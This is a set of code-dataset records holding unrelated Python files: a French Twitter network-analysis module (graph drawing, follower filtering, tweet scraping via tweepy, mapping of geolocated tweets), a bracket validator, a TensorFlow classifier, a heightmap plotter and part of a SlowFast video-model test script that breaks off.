Si on augmente kv, il y aura + de distance entre nodes en moyenne = plus lisible. Ici, valeur pas défaut (1/sqrt(N)) fois 4\r\n\r\n             p =nx.spring_layout(g,k=kv) #ecart entre les noeuds\r\n\r\n             #Taille graphe\r\n             plt.figure(figsize=zoom) #taille du graph, plus c'est petit, plus on \"zoom\"\r\n\r\n             #Nodes Labels : Name / Screen_name / ID\r\n             if bin_labels == 1 :\r\n                 Node_Label={}\r\n                 if type_labels=='name' or 'screen_name':\r\n                     for noeud in g.node.keys():\r\n                         \r\n                         try:\r\n                             Node_Label[noeud]=Base[compte_twitter]['Datas'][noeud][type_labels]\r\n                         except:\r\n                             print('pb de recuperation de key')\r\n                             pdb.set_trace()\r\n                             pass\r\n                         try:\r\n                             print(Base[compte_twitter]['Datas'][noeud]['name'],Base[compte_twitter]['Datas'][noeud]['screen_name'] )\r\n                         except:\r\n                             print('Pas réussi à récup le name de', noeud)\r\n                 else:\r\n                     for noeud in g.node.keys():\r\n                         Node_Label[noeud]=noeud\r\n            \r\n\r\n\r\n             #DRAW\r\n            \r\n             #Draw noeuds\r\n             nx.draw_networkx_nodes(g, pos=p,alpha=1, node_size=taille_noeuds, node_color=couleur_noeuds )\r\n\r\n\r\n             #Draw Liens\r\n             nx.draw_networkx_edges(g, pos=p, width=taille_liens, edge_color=couleur_liens)\r\n\r\n             #Draw Labels\r\n             if bin_labels==1 :\r\n                 nx.draw_networkx_labels(g, pos=p, labels=Node_Label, font_size=45,font_color=couleur_labels, alpha=taille_labels)\r\n\r\n\r\n\r\n\r\n             #Titre\r\n             plt.title(titre, size=75)\r\n\r\n             #Axes\r\n             if axes == 1:\r\n                 plt.axis('on')\r\n             else :\r\n                 plt.axis('off')\r\n             \r\n             #Color background\r\n             #plt.figure().set_facecolor(color_bg)\r\n\r\n             #Enregistrement du fichier (si une répétition)\r\n             if nb_repetition<2:                 \r\n                 plt.savefig(path_sortie+'.'+format_sortie, format=format_sortie)\r\n             else :\r\n                 i=i+1\r\n                 plt.savefig(path_sortie+str(i)+'.'+format_sortie, format=format_sortie)\r\n                 \r\n  \r\n         \r\n\r\n\r\n        \r\n\r\n\r\n\r\n'''\r\nFonction filtrage :\r\n1-Utilisateur renseigne le chemin de la BDD voulue (paramètre de la fonction) -> Import\r\n2-Applique un/des filtrs à une BDD en fonction de différents critères :\r\nnb de friends, nb de followers, mesures, probleme de recup datas...\r\n3-Construit le dictionnaire de liens associés à la base de donnée filtrée.\r\n4-Sauvergarde la BDD filtrée dans un chemin décidé par l'utilisateur\r\n\r\nexemple : filtrage('@MonZippo/Datas_globales_@MonZippo', 0, 0, 0, 0, 1, 50, 0, 0, 0, 0, 0, 0, 0, 1, '@MonZippo/Datas_filtrees1_MonZippo')\r\n\r\nLIMITE : pour le moment, on peut supprimer que des comtpes \"inferieurs\" à un paramètre\r\n'''\r\n\r\n\r\n\r\n\r\ndef filtrage(path_entree, tweets_bin, nb_tweets, friends_bin, nb_friends, followers_bin, nb_followers, mesure_bin, degree_centrality_bin,\r\n             closeness_bin, eigen_vector_bin, pourcentage, csv_bin, path_sortie):\r\n                 \r\n                 \r\n                \r\n                 \r\n                 #Variables locales\r\n                 liste_del=[]\r\n                 Dict_mesure = {}\r\n                 Nli = []\r\n                 compte_pb=0\r\n        \r\n                 #Toutes les variables choisies par l'utilisateur seront récupérées via l'interface\r\n        \r\n                 #------- importation de la base --------\r\n                 try:\r\n                     \r\n                     with open(path_entree,'rb') as fichier:\r\n                         \r\n                         Base=pickle.load(fichier)\r\n                 except:\r\n                     \r\n                     print('Probleme, base de donnée indiquée introuvable')\r\n                     pass\r\n                 #------ création du dossier de sortie, si il n'existe pas déjà --------\r\n                 '''Fait par l'utilisateur avec l'outil Browse'''\r\n    \r\n                \r\n                 #Comparatif 1:\r\n                 for elem in Base.keys():\r\n                     comparatif = len(Base[elem]['Datas'].keys())- 1\r\n                     print('Nb de compte de la base AVANT filtre : ', comparatif)\r\n        \r\n                 #Filtre del utilisateurs avec un pb de recupération de données:\r\n                 for compte_twitter in Base.keys():\r\n                     for iden in Base[compte_twitter]['Datas'].keys():\r\n                         if iden != 'List_Followers':\r\n                             if Base[compte_twitter]['Datas'][iden]['Problem']=='oui':\r\n                                 liste_del.append(iden)\r\n                #Suppression dans la foulée pour pouvoir appliquer les autres filtres:\r\n                     for iden in liste_del :\r\n                         del Base[compte_twitter]['Datas'][iden]\r\n                         compte_pb=compte_pb+1\r\n                 print('Nombre de compte twitter supprimés car problème de récupération de données : ', compte_pb)\r\n                 liste_del=[]\r\n                 \r\n                 \r\n                 #---- Filtre followers ----------\r\n                 if followers_bin == 1:\r\n                     \r\n                        \r\n                                 \r\n                     for compte_twitter in Base.keys():\r\n                         \r\n                        \r\n                        \r\n                             \r\n                         for iden in Base[compte_twitter]['Datas'].keys():\r\n                             if iden != \"List_Followers\":\r\n                                 if Base[compte_twitter]['Datas'][iden]['nb_followers'] < nb_followers :\r\n                                     liste_del.append(iden)\r\n                                     print('Suppression de ', Base[compte_twitter]['Datas'][iden]['name'], 'car il a ', Base[compte_twitter]['Datas'][iden]['nb_followers'], 'followers (abonnés)')\r\n                                 else:\r\n                                     pass\r\n                            \r\n\r\n\r\n                 #----- Filtre friends ---------\r\n                 if friends_bin == 1:\r\n                     \r\n                     for compte_twitter in Base.keys():\r\n                         for iden in Base[compte_twitter]['Datas'].keys():\r\n                             \r\n                              if iden != \"List_Followers\":\r\n                                  \r\n\r\n                                  if Base[compte_twitter]['Datas'][iden]['nb_friends'] < nb_friends:\r\n                                      print('Suppression de ', Base[compte_twitter]['Datas'][iden]['name'], 'car il a ', Base[compte_twitter]['Datas'][iden]['nb_tweets'], 'friends')\r\n                                      liste_del.append(iden)\r\n                                  else:\r\n                                      pass\r\n                              else:\r\n                                  pass\r\n                 \r\n\r\n                         \r\n                 else:\r\n                     pass\r\n                         \r\n                 #----- Filtre tweets ----------- \r\n        \r\n                 if tweets_bin == 1:\r\n                     for compte_twitter in Base.keys():\r\n                         for iden in Base[compte_twitter]['Datas'].keys():\r\n                             if iden != \"List_Followers\":\r\n                                 if Base[compte_twitter]['Datas'][iden]['nb_tweets'] < nb_tweets :\r\n                                     print('Supression de ', Base[compte_twitter]['Datas'][iden]['name'], 'car il a ', Base[compte_twitter]['Datas'][iden]['nb_tweets'], 'Tweets')\r\n                                     liste_del.append(iden)\r\n                                 else:\r\n                                     pass\r\n                                 \r\n        \r\n                 #------- MESURE ---------- #\r\n                 #Attention, puisqu'il y a une liste del : on parle bien de la mesure en fonction de l'ensemble de la BDD d'origine.\r\n                 \r\n                 \r\n                 if mesure_bin == 1:\r\n                     print('Filtre par MESURE')    \r\n            \r\n                     #Pour la mesure, il y a besoin de construire le network (noeuds + liens)\r\n                     g=nx.Graph()\r\n                     \r\n                     for compte_twitter in Base.keys():\r\n                         \r\n                         #Ajout noeuds\r\n                         \r\n                         for elem in Base[compte_twitter]['Datas'].keys():\r\n                             \r\n                             if elem != \"List_Followers\":\r\n                                 \r\n                                 g.add_node(elem)\r\n                \r\n                             \r\n                         #Ajout liens\r\n                        \r\n                         \r\n                         \r\n                         for iden1 in g.node.keys():\r\n                             #print('Iden 1 = ', iden1)\r\n                         \r\n                        \r\n                             for iden2 in g.node.keys():\r\n                                 #print('Iden 2 = ', iden2)\r\n                                 if iden1!=iden2:\r\n                                     if Base[compte_twitter]['Liens'][iden1][iden2]==1 and g.has_edge(iden1,iden2)==False:\r\n                                         g.add_edge(iden1, iden2)\r\n                                     else : \r\n                                         #print('Pas de lien entre', iden1, 'et', iden2)\r\n                                         pass\r\n                                 else :\r\n                                     #print('Ce sont els mêmes iden : ', iden1, '==', iden2)\r\n                                     pass\r\n                                         \r\n                                     \r\n          \r\n                         #------- degree centrality -------\r\n\r\n                         if degree_centrality_bin == 1:\r\n                             Dict_mesure = nx.degree_centrality(g)\r\n                         if closeness_bin == 1:\r\n                             print('Choix de la mesure Closeness')\r\n                             Dict_mesure = nx.closeness_centrality(g)\r\n                         if eigen_vector_bin == 1:\r\n                            Dict_mesure = nx.eigenvector_centrality(g)\r\n\r\n\r\n                         for noeud in g.node.keys():\r\n                             Nli.append(Dict_mesure[noeud])\r\n                         Nli.sort()\r\n                         seuil = round(len(Nli)*pourcentage)\r\n                         seuil_mesure=(Nli[seuil])\r\n                         print('Seuil pour la mesure : ', seuil_mesure)\r\n\r\n                         for n in g.node.keys():\r\n                                \r\n                                       \r\n                             if Dict_mesure[n] < seuil_mesure:\r\n                                 \r\n                                 try:\r\n                                     \r\n                                     \r\n                        \r\n                        \r\n                                     print('Suppression de', Base[compte_twitter]['Datas'][n]['name'], 'car son degré est de', Dict_mesure[n])\r\n                                     liste_del.append(n)\r\n                                 except:\r\n                                     pass\r\n                                     #print('Probleme de key sur ', n)\r\n                                     \r\n                                 \r\n                                     \r\n                                \r\n                             else:\r\n                        \r\n                                 pass\r\n                                \r\n                            \r\n                 #SUPRESSION REELLE DES IDEN DU DICT A PARTIR DE LISTE_DEL\r\n                 \r\n                 for ele in liste_del:\r\n                     try:\r\n                         \r\n                         #print('Supression de ', Base[compte_twitter]['Datas'][ele]['name'])\r\n                         del Base[compte_twitter]['Datas'][ele]\r\n                     except:\r\n                         ('Pas réussi à supprimer ', ele)\r\n                         pass\r\n                         \r\n                         \r\n                 #Comparatif 2:\r\n                 for elem in Base.keys():\r\n                     \r\n                     comparatif = len(Base[elem]['Datas'].keys())- 1\r\n                     print('Nb de compte de la base APRES filtre : ', comparatif)\r\n        \r\n                 #------ CSV ------------#\r\n                 if csv_bin==1:\r\n                     with open(path_sortie+'.csv', 'w') as output:\r\n                            print('ECRITURE CSV')\r\n                         \r\n                         \r\n                            data = csv.writer(output, delimiter=\";\", lineterminator=\"\\n\")\r\n                            row = ['Screen name','ID','nb followers', 'nb friends', 'nb tweets','probleme']\r\n                            data.writerow(row)\r\n                            for compte_twitter in Base.keys():\r\n                                \r\n                                         \r\n                                for iden in Base[compte_twitter]['Datas'].keys():\r\n                                    \r\n                                 \r\n                                    try:\r\n                                        \r\n                                     \r\n                                     #PB : screen name avec emoticones -> passe dans le except\r\n                                        row = [Base[compte_twitter]['Datas'][iden]['screen_name'], iden, Base[compte_twitter]['Datas'][iden]['nb_followers'], Base[compte_twitter]['Datas'][iden]['nb_friends'],Base[compte_twitter]['Datas'][iden]['nb_tweets'], Base[compte_twitter]['Datas'][iden]['Problem']]\r\n                                        data.writerow(row)\r\n                                    except :\r\n                                        \r\n                                        print('Probleme car key = List_Followers au lieu d un ID---> key =', iden)\r\n                                        continue\r\n                 else:\r\n                     \r\n                     \r\n                     pass\r\n        \r\n        \r\n                    \r\n                 #----- Enregistrement ---------\r\n        \r\n                 with open(path_sortie,'wb') as fichier:\r\n                         pickle.dump(Base,fichier)\r\n                 \r\n                 construction_liens(path_sortie)\r\n\r\n        \r\n        \r\n                 \r\n\r\n                 \r\n                 \r\n\r\n\r\n\r\n\r\n'''Fonction scrap_tweets : permet de récupérer les tweets au sens large, d'un ou plusieurs comptes tweeter'''\r\n\r\ndef scrap_tweets(screen_name, consumer_key, consumer_secret, access_token, access_token_secret, path_sortie) :\r\n    #Variables\r\n    alltweets=[]\r\n    auth = tweepy.auth.OAuthHandler(consumer_key, consumer_secret) \r\n    auth.secure = True\r\n    auth.set_access_token(access_token, access_token_secret)\r\n    api = tweepy.API(auth, wait_on_rate_limit=True, wait_on_rate_limit_notify=True)\r\n    \r\n    #Scrap tweets\r\n    new_tweets = api.user_timeline(screen_name = screen_name,count=200)\r\n    alltweets.extend(new_tweets)\r\n    oldest = alltweets[-1].id - 1\r\n    while len(new_tweets) > 0:\r\n        print(\"getting tweets before %s\"% (oldest))\r\n        new_tweets = api.user_timeline(screen_name = screen_name,count=200,max_id=oldest)\r\n        alltweets.extend(new_tweets)\r\n        oldest = alltweets[-1].id - 1\r\n        print (\"...%s tweets downloaded so far\" % (len(alltweets)))\r\n\r\n    with open(path_sortie,'wb') as fichier:\r\n        \r\n        pickle.dump(alltweets,fichier)\r\n        \r\n        \r\n'''Fonction analyse_tweets qui permet une analyse des tweets en fonction de kw \r\n(combien de tweets contiennent ce, ou ces kw, au total et par keyword) + par date (au total et par keyword)'''  \r\ndef analyse_tweets(path_entree, kw):\r\n    with open(path_entree,'rb') as fichier1:\r\n        Base=pickle.load(fichier1)\r\n        \r\n        for tweet in Base:\r\n            if kw in tweet.text:\r\n                \r\n                print(tweet.text)\r\n                \r\n'''Fonction filtre_tweets permet de filtrer la liste de tweets en fonciton de certains critères : date, retweets, \"aime\", mot-clés\r\nfiltre_tweets(\"Tweets@Charleseasy\", 1, 0, 0, 0, 0, 1, 1, 0, 0, \"Tweets@CharleseasyFiltrés\")\r\nfiltre_tweets(\"Tweets@Charleseasy\", 0, 0, 0, 0, 0, 0, 0, 1, [2018,12,28], \"Tweets@CharleseasyFiltrés\")\r\nfiltre_tweets(\"Tweets@Charleseasy\", 0, 0, 0, 1, ['Australia','basket'], 0, 0, 0, 0, \"Tweets@CharleseasyFiltrés\")'''\r\ndef filtre_tweets(path_entree,bin_del_rt, bin_rt, nb_rt, bin_kw, kw, bin_like, nb_like, bin_date, date, path_sortie):\r\n    with open(path_entree,'rb') as fichier1:\r\n        Base=pickle.load(fichier1)\r\n    \r\n    #Supprimer les retweets\r\n    i=0\r\n    Base_Clean=[]\r\n    if bin_del_rt==1:\r\n        print('\\n \\n FILTRE SUPRESSION DES RETWEETS')\r\n        for tweet in Base:\r\n            if tweet.text[:2] != \"RT\":\r\n                print (tweet.text)\r\n                Base_Clean.append(tweet)            \r\n            i=i+1\r\n        Base=Base_Clean\r\n    \r\n            \r\n    #Supprimer les tweets qui ont été retweeté moins de fois que nb_rt\r\n    i=0\r\n    Base_Clean=[]\r\n    if bin_rt==1:\r\n        print('\\n \\n FILTRE SNOMBRE DE RETWEETS')\r\n        for tweet in Base:\r\n            if tweet.retweet_count > nb_rt:\r\n                print(tweet.text)\r\n                Base_Clean.append(tweet)\r\n            i=i+1\r\n        Base=Base_Clean\r\n    #Supprimer les tweets qui ont été ajouté en tant que favori moins de fois que nb_like\r\n    #!!! Attention, favorite_count toujours = à 0 pour les RT. !!!\r\n    i=0\r\n    Base_Clean=[]\r\n    if bin_like==1:\r\n        print('\\n \\n FILTRE NOMBRE DE LIKES')\r\n        for tweet in Base:\r\n            if tweet.favorite_count >= nb_like :\r\n                print(tweet.text)\r\n                Base_Clean.append(tweet)\r\n            i=i+1\r\n        Base=Base_Clean\r\n    \r\n    #Supprimer les tweets qui ont été tweeté avant la date indiqué (date)\r\n    i=0\r\n    Base_Clean=[]\r\n    if bin_date == 1:\r\n        print('\\n \\n FILTRE PAR DATE')\r\n        for tweet in Base:\r\n            if tweet.created_at.year > int(date[0:4]) :\r\n                Base_Clean.append(tweet)\r\n        \r\n                print (\"On garde :  \", tweet.text, \"car créé le\", tweet.created_at)\r\n        \r\n            elif tweet.created_at.year== int(date[0:4]) and tweet.created_at.month > int(date[5:7]) :\r\n                Base_Clean.append(tweet)\r\n                print (\"On garde : \", tweet.text, \"car créé le\", tweet.created_at)\r\n        \r\n            elif tweet.created_at.year== int(date[0:4]) and tweet.created_at.month == int(date[5:7]) and tweet.created_at.day > int(date[8:10]):     \r\n                Base_Clean.append(tweet)\r\n                print (\"On garde :  \", tweet.text, \"car créé le\", tweet.created_at)\r\n            else :\r\n                continue\r\n        Base=Base_Clean\r\n         \r\n    #Garder les tweets qui contiennent un des mots clés\r\n    i=0\r\n    Base_Clean=[]     \r\n    if bin_kw==1:\r\n        liste_kw=[]\r\n        virgule=\",\"\r\n        for k in kw.split(virgule):\r\n            liste_kw.append(k)\r\n            print(\"ajout du kw\", k)\r\n        print('\\n \\n FILTRE PAR KW')\r\n        for tweet in Base:\r\n            for k in liste_kw :\r\n                if k in tweet.text:\r\n                    Base_Clean.append(tweet)\r\n                    print(tweet.text)\r\n                else:\r\n                    continue\r\n        Base=Base_Clean\r\n        \r\n        #IL FAUT SUPPRIMER LES DOUBLONS (si plusieurs kw présents dans un seul et meme tweet)\r\n        \r\n        print('NOMBRE DE TWEETS AVEC AU MOINS UN DES MOTS CLES :', len(Base))\r\n\r\n\r\n    \r\n            \r\n        \r\n        \r\n    #ENREGISTREMENT\r\n    with open(path_sortie,'wb') as fichier:\r\n        \r\n        pickle.dump(Base,fichier)             \r\n    \r\n    \r\n    \r\n    \r\n  \r\n        \r\n\r\n        \r\n    \r\n        \r\n\r\n'''Fonction fusion_bdd : permet de fusionner deux BDD construites avec les fonctions précédentes,\r\nla BDD de sortie est construire de la même façon que celles récoltées \"brutes\"'''\r\ndef fusion_bdd(path1, path2, path_sortie) :\r\n    \r\n    #Variables\r\n    i=0\r\n    Base1_Clean={}\r\n    Base2_Clean={}\r\n    Base_Fusion={}\r\n    \r\n    #Ouverture des bases\r\n    try:\r\n        with open(path1,'rb') as fichier1:\r\n            Base1=pickle.load(fichier1)\r\n    except:\r\n        print('Base1 introuvable ou illisible')\r\n    \r\n    try:\r\n        with open(path2,'rb') as fichier2:\r\n            Base2=pickle.load(fichier2)\r\n    except:\r\n        print('Base2 introuvable ou illisible')\r\n        \r\n\r\n\r\n    \r\n    #Fusion des DATAS\r\n    for k in Base1.keys():\r\n        Base1_Clean = Base1[k]['Datas'] \r\n        \r\n    for k in Base2.keys():\r\n        Base2_Clean = Base2[k]['Datas']\r\n    Base_Fusion['Fusion']={}\r\n    Base_Fusion['Fusion']['Datas']={}\r\n    Base1_Clean.update(Base2_Clean)\r\n    Base_Fusion['Fusion']['Datas']=Base1_Clean\r\n    \r\n    \r\n    \r\n    \r\n    #return Base_Fusion\r\n    \r\n    with open(path_sortie,'wb') as fichier:\r\n        \r\n        pickle.dump(Base_Fusion,fichier)\r\n    #Creation des Liens\r\n    construction_liens(path_sortie)\r\n    \r\n    \r\ndef representation_tweets(path_entree, bin_csv,  bin_geo, sortie_csv=\"\", sortie_geo=\"\"):\r\n        with open(path_entree,'rb') as fichier1:\r\n            Base=pickle.load(fichier1)\r\n            \r\n        if bin_csv==1:\r\n            \r\n            with open(sortie_csv+'.csv', 'w') as output:\r\n                         \r\n                         \r\n                data = csv.writer(output, delimiter=\";\", lineterminator=\"\\n\")\r\n                row = ['Screen name','tweeté le :', 'Nombre de likes (ajotu aux favoris)', 'Nombre de retweets','Texte', 'Géolocalisation']\r\n                data.writerow(row)\r\n                for tweet in Base:\r\n                    \r\n                    row = [tweet.user.screen_name, tweet.created_at,tweet.favorite_count, tweet.retweet_count, tweet.text.encode('utf8'), tweet.coordinates]\r\n                    data.writerow(row)\r\n                    \r\n        if bin_geo ==1:\r\n            print(\"Représentation des tweets de manière géographique\")\r\n            i=True\r\n            \r\n            #Zoom initial = dernier tweet avec coordonnées\r\n            for tweet in Base :\r\n                if i == True :\r\n                    try:\r\n                        zoom_lat = (tweet.coordinates['coordinates'][0])\r\n                        zoom_long = (tweet.coordinates['coordinates'][1])\r\n                        i=False\r\n                    except:\r\n                        pass\r\n                else :\r\n                    pass\r\n                    \r\n\r\n            macarte = folium.Map(location=[zoom_long,zoom_lat], zoom_start=10)\r\n            folium.TileLayer(\"stamenterrain\").add_to(macarte)\r\n            \r\n            #Ajout des \"markers\"\r\n            for tweet in Base:\r\n                try:\r\n                    \r\n                    date = str(tweet.created_at.day)+ '/'+str(tweet.created_at.month)+'/' +str(tweet.created_at.year)\r\n                    popup_text = tweet.text+ '\\n'+ date\r\n                    folium.Marker([tweet.coordinates['coordinates'][1], tweet.coordinates['coordinates'][0]], popup=popup_text).add_to(macarte)\r\n                    print('ajout dun marker')\r\n                except :\r\n                    pass\r\n                \r\n            \r\n            macarte.save(sortie_geo+'.html')\r\n            \r\n            \r\n                \r\n            \r\n    \r\n    \r\n                         \r\n                     \r\n\r\n    \r\n    \r\n\r\n        \r\n","repo_name":"Houplain/netweets","sub_path":"module.py","file_name":"module.py","file_ext":"py","file_size_in_byte":34296,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"27204015013","text":"def expressoes():\r\n    i = 10\r\n    while i != 0:\r\n        print(\"======= Validador de Expressões Matemáticas =======\")\r\n        expressao = input('Digite uma expressão matemática:\\n')\r\n        pilha = []\r\n        pares = {'(': ')', '{': '}', '[': ']'}\r\n\r\n        for char in expressao:\r\n            if char in pares.keys():\r\n                pilha.append(char)\r\n            elif char in pares.values():\r\n                if not pilha:\r\n                    print(\"INVÁLIDA\")\r\n                    break\r\n                last_char = pilha.pop()\r\n                if char != pares[last_char]:\r\n                    print(\"INVÁLIDA\")\r\n                    break\r\n            elif not char.isdigit() and char not in '+-/*':\r\n                print(\"INVÁLIDA\")\r\n                break\r\n        else:\r\n            if pilha:\r\n                print(\"INVÁLIDA\")\r\n            else:\r\n                print(\"VÁLIDA\")\r\n                \r\n        i = 0\r\n","repo_name":"igovyski/trabalho-estrutura-dados","sub_path":"Expressoes.py","file_name":"Expressoes.py","file_ext":"py","file_size_in_byte":939,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"12478325664","text":"import tensorflow as tf\n\nfrom experiment.sentence_classification.model import SentenceClassificationModel\nfrom experiment.utils.variables import weight_variable, bias_variable\n\n\nclass FeedForwardModel(SentenceClassificationModel):\n    def build(self, data, sess):\n        self.build_input(data, sess)\n        input_dropout = tf.nn.dropout(self.input_sent, self.dropout_keep_prob\n                                      )\n        W1 = weight_variable('W1', [data.embedding_size, data.embedding_size])\n        b1 = bias_variable('b1', [data.embedding_size])\n        layer_1 = tf.nn.relu(tf.nn.xw_plus_b(input_dropout, W1, b1))\n\n        W2 = weight_variable('W2', [data.embedding_size, len(data.classes)])\n        b2 = bias_variable('b2', [len(data.classes)])\n        prediction = tf.nn.xw_plus_b(layer_1, W2, b2)\n        self.create_outputs(prediction)\n\n\ncomponent = FeedForwardModel\n","repo_name":"UKPLab/arxiv2018-xling-sentence-embeddings","sub_path":"evaluation/experiment/sentence_classification/model/feedforward.py","file_name":"feedforward.py","file_ext":"py","file_size_in_byte":880,"program_lang":"python","lang":"en","doc_type":"code","stars":186,"dataset":"github-code","pt":"77"}
+{"seq_id":"29483322023","text":"from PIL import Image\r\nimport numpy as np\r\nimport os\r\n\r\npath = os.getcwd()\r\nres = 8192\r\n\r\nfor f in os.listdir(path):\r\n    if f.endswith(\".txt\"):\r\n        map = np.zeros((res, res))\r\n        posX = 0\r\n        posY = 0\r\n        with open(os.path.join(path, f)) as data:\r\n            for line in data.readlines():\r\n                if \"Yaw(Float):\" in line and -res/2 < posX < res/2 and -res/2 < posY < res/2:\r\n                    map[round(posX + res/2), round(posY + res/2)] = 1\r\n                if \"PositionX(Float):\" in line:\r\n                    posX = float(line.replace(\"PositionX(Float):\",\"\").replace(\"\\n\",\"\").replace(\" \",\"\").replace(\",\",\".\"))\r\n                if \"PositionY(Float):\" in line:\r\n                    posY = float(line.replace(\"PositionY(Float):\",\"\").replace(\"\\n\",\"\").replace(\" \",\"\").replace(\",\",\".\"))\r\n        Image.fromarray(np.rot90(map).astype(bool)).save(os.path.join(path, f[:-4] + \".png\"))\r\n","repo_name":"Til-Weimann/witcher3-heightmaps","sub_path":"fplot.py","file_name":"fplot.py","file_ext":"py","file_size_in_byte":915,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"77"}
+{"seq_id":"32815266305","text":"import argparse\nimport sys\nimport os\nimport pickle\nimport numpy as np\nimport pandas as pd\nimport torch\nimport json\nimport slowfast.utils.checkpoint as cu\nimport slowfast.utils.multiprocessing as mpu\nfrom slowfast.config.defaults import get_cfg\nimport slowfast.utils.distributed as du\nimport slowfast.utils.logging as logging\nimport slowfast.utils.misc as misc\nfrom slowfast.datasets import loader\nfrom slowfast.models import build_model\nfrom slowfast.utils.meters import AVAMeter, TestMeter, EPICTestMeter\n\nlogger = logging.get_logger(__name__)\n\ndef perform_test(test_loader, model, test_meter, cfg):\n    \"\"\"\n    For classification:\n    Perform mutli-view testing that uniformly samples N clips from a video along\n    its temporal axis. For each clip, it takes 3 crops to cover the spatial\n    dimension, followed by averaging the softmax scores across all Nx3 views to\n    form a video-level prediction. All video predictions are compared to\n    ground-truth labels and the final testing performance is logged.\n    For detection:\n    Perform fully-convolutional testing on the full frames without crop.\n    Args:\n        test_loader (loader): video testing loader.\n        model (model): the pretrained video model to test.\n        test_meter (TestMeter): testing meters to log and ensemble the testing\n            results.\n        cfg (CfgNode): configs. Details can be found in\n            slowfast/config/defaults.py\n    \"\"\"\n    # Enable eval mode.\n    model.eval()\n\n    test_meter.iter_tic()\n\n    for cur_iter, (inputs, labels, video_idx, meta) in enumerate(test_loader):\n        # Transfer the data to the current GPU device.\n        if isinstance(inputs, (list,)):\n            for i in range(len(inputs)):\n                inputs[i] = inputs[i].cuda(non_blocking=True)\n        else:\n            inputs = inputs.cuda(non_blocking=True)\n\n        # Transfer the data to the current GPU device.\n        if isinstance(labels, (dict,)):\n            labels = {k: v.cuda() for k, v in labels.items()}\n        else:\n            labels = labels.cuda()\n        video_idx = video_idx.cuda()\n\n        if cfg.DETECTION.ENABLE:\n            for key, val in meta.items():\n                if isinstance(val, (list,)):\n                    for i in range(len(val)):\n                        val[i] = val[i].cuda(non_blocking=True)\n                else:\n                    meta[key] = val.cuda(non_blocking=True)\n\n            # Compute the predictions.\n            preds = model(inputs, meta[\"boxes\"])\n\n            preds = preds.cpu()\n            ori_boxes = meta[\"ori_boxes\"].cpu()\n            metadata = meta[\"metadata\"].cpu()\n\n            if cfg.NUM_GPUS > 1:\n                preds = torch.cat(du.all_gather_unaligned(preds), dim=0)\n                ori_boxes = torch.cat(du.all_gather_unaligned(ori_boxes), dim=0)\n                metadata = torch.cat(du.all_gather_unaligned(metadata), dim=0)\n\n            test_meter.iter_toc()\n            # Update and log stats.\n            test_meter.update_stats(\n                preds.detach().cpu(),\n                ori_boxes.detach().cpu(),\n                metadata.detach().cpu(),\n            )\n            test_meter.log_iter_stats(None, cur_iter)\n        else:\n            # Perform the forward pass.\n            preds = model(inputs)\n\n            if isinstance(labels, (dict,)):\n                # Gather all the predictions across all the devices to perform ensemble.\n                if cfg.NUM_GPUS > 1:\n                    verb_preds, verb_labels, video_idx = du.all_gather(\n                        [preds[0], labels['verb'], video_idx]\n                    )\n\n                    noun_preds, noun_labels, video_idx = du.all_gather(\n                        [preds[1], labels['noun'], video_idx]\n                    )\n                    meta = du.all_gather_unaligned(meta)\n                metadata = {'narration_id': []}\n                for i in range(len(meta)):\n                    metadata['narration_id'].extend(meta[i]['narration_id'])\n                test_meter.iter_toc()\n                # Update and log stats.\n                test_meter.update_stats(\n                    (verb_preds.detach().cpu(), noun_preds.detach().cpu()),\n                    (verb_labels.detach().cpu(), noun_labels.detach().cpu()),\n                    metadata,\n                    video_idx.detach().cpu(),\n                )\n                test_meter.log_iter_stats(cur_iter)\n            else:\n                # Gather all the predictions across all the devices to perform ensemble.\n                if cfg.NUM_GPUS > 1:\n                    preds, labels, idx = du.all_gather(\n                        [preds, labels, video_idx]\n                    )\n\n                test_meter.iter_toc()\n                # Update and log stats.\n                test_meter.update_stats(\n                    preds.detach().cpu(),\n                    labels.detach().cpu(),\n                    video_idx.detach().cpu(),\n                )\n                test_meter.log_iter_stats(cur_iter)\n\n        test_meter.iter_tic()\n\n    # Log epoch stats and print the final testing results.\n    if cfg.TEST.DATASET == 'epickitchens':\n        preds, labels, metadata = test_meter.finalize_metrics()\n    else:\n        test_meter.finalize_metrics()\n        preds, labels, metadata = None, None, None\n    test_meter.reset()\n    return preds, labels, metadata\n\ndef test(cfg):\n    \"\"\"\n    Perform multi-view testing on the pretrained video model.\n    Args:\n        cfg (CfgNode): configs. Details can be found in\n            slowfast/config/defaults.py\n    \"\"\"\n    # Set random seed from configs.\n    np.random.seed(cfg.RNG_SEED)\n    torch.manual_seed(cfg.RNG_SEED)\n\n    test_list = pd.read_pickle(os.path.join(cfg.EPICKITCHENS.ANNOTATIONS_DIR, cfg.EPICKITCHENS.TEST_LIST))\n\n    # Setup logging format.\n    logging.setup_logging()\n\n    # Print config.\n    logger.info(\"Test with config:\")\n    logger.info(cfg)\n\n    # Build the video model and print model statistics.\n    model = build_model(cfg)\n    if du.is_master_proc():\n        misc.log_model_info(model, cfg, is_train=False)\n\n    # Load a checkpoint to test if applicable.\n    if cfg.TEST.CHECKPOINT_FILE_PATH != \"\":\n        cu.load_checkpoint(\n            cfg.TEST.CHECKPOINT_FILE_PATH,\n            model,\n            cfg.NUM_GPUS > 1,\n            None,\n            inflation=False,\n            convert_from_caffe2=cfg.TEST.CHECKPOINT_TYPE == \"caffe2\",\n            )\n    elif cu.has_checkpoint(cfg.OUTPUT_DIR):\n        last_checkpoint = cu.get_last_checkpoint(cfg.OUTPUT_DIR)\n        cu.load_checkpoint(last_checkpoint, model, cfg.NUM_GPUS > 1)\n    elif cfg.TRAIN.CHECKPOINT_FILE_PATH != \"\":\n        # If no checkpoint found in TEST.CHECKPOINT_FILE_PATH or in the current\n        # checkpoint folder, try to load checkpint from\n        # TRAIN.CHECKPOINT_FILE_PATH and test it.\n        cu.load_checkpoint(\n            cfg.TRAIN.CHECKPOINT_FILE_PATH,\n            model,\n            cfg.NUM_GPUS > 1,\n            None,\n            inflation=False,\n            convert_from_caffe2=cfg.TRAIN.CHECKPOINT_TYPE == \"caffe2\",\n            )\n    else:\n        # raise NotImplementedError(\"Unknown way to load checkpoint.\")\n        logger.info(\"Testing with random initialization. Only for debugging.\")\n\n    # Create video testing loaders.\n    test_loader = loader.construct_loader(cfg, \"test\")\n    logger.info(\"Testing model for {} iterations\".format(len(test_loader)))\n\n    if cfg.DETECTION.ENABLE:\n        assert 